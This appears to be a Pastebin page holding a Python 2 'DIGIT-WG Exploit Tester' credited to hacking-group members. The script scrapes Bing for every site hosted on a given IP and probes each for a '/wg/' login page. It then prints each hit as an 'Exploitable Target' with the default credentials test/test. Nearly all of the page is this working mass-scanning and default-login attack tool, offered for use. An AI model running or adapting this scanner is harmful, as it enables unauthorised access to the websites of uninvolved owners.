Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # By Yassinox_TN
- import urllib2
- import re
- import cookielib
- import urllib
- import requests as xsec
- sites = []
- def extractserver(ip):
- try:
- page = 1
- while page <= 21:
- bing = "http://www.bing.com/search?q=ip%3A"+ip+"+&count=50&first="+str(page)
- openbing = urllib2.urlopen(bing)
- readbing = openbing.read()
- findwebs = re.findall('<h2><a href="(.*?)"' , readbing)
- sitess = findwebs
- for i in sitess:
- sites.append(i)
- print "|-> grabbed " + str(len(sites)) + " sites"
- page = page + 21
- except :
- pass
- logo = '''
- ,---,. ,--, ,--,
- ,' .' | ,--.'| ,--.'|
- ,---.' | | | : | | :
- | | .' : : ' : : ' ,----._,.
- : : : ,--.--. | ' | | ' | ,--.--. / / ' / ,--.--.
- : | |-, / \ ' | | ' | | / \ | : | / \
- | : ;/|.--. .-. || | : | | : .--. .-. || | .\ . .--. .-. |
- | | .' \__\/: . .' : |__' : |__ \__\/: . .. ; '; | \__\/: . .
- ' : ' ," .--.; || | '.'| | '.'| ," .--.; |' . . | ," .--.; |
- | | | / / ,. |; : ; : ;/ / ,. | `---`-'| | / / ,. |
- | : \ ; : .' \ , /| , /; : .' \.'__/\_: |; : .' \
- | | ,' | , .-./---`-' ---`-' | , .-./| : :| , .-./
- `----' `--`---' `--`---' \ \ / `--`---'
- `--`-'
- '''
- print logo
- print "*" * 60
- print " DIGIT-WG Exploit Tester "
- print "Exploit Author : CaPoo_Tunisiano"
- print "CHecker Author : Yassinox_Tn "
- print "Thanks To my team and Capoo_Tunisiano and Fallaga Team"
- print "*" * 60
- ip = raw_input("ip :")
- extractserver(ip)
- for site in sites :
- try :
- ok = urllib.urlopen(site + "/wg/").getcode()
- if ok == 200 :
- ch = urllib2.urlopen(site + "/wg/").read()
- r = re.findall('type="password"',ch)
- if r :
- print " Exploitable Target : " + site + "/wg/"
- print " Username : test"
- print " password : test"
- else :
- pass
- except :
- print " error Found !"
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement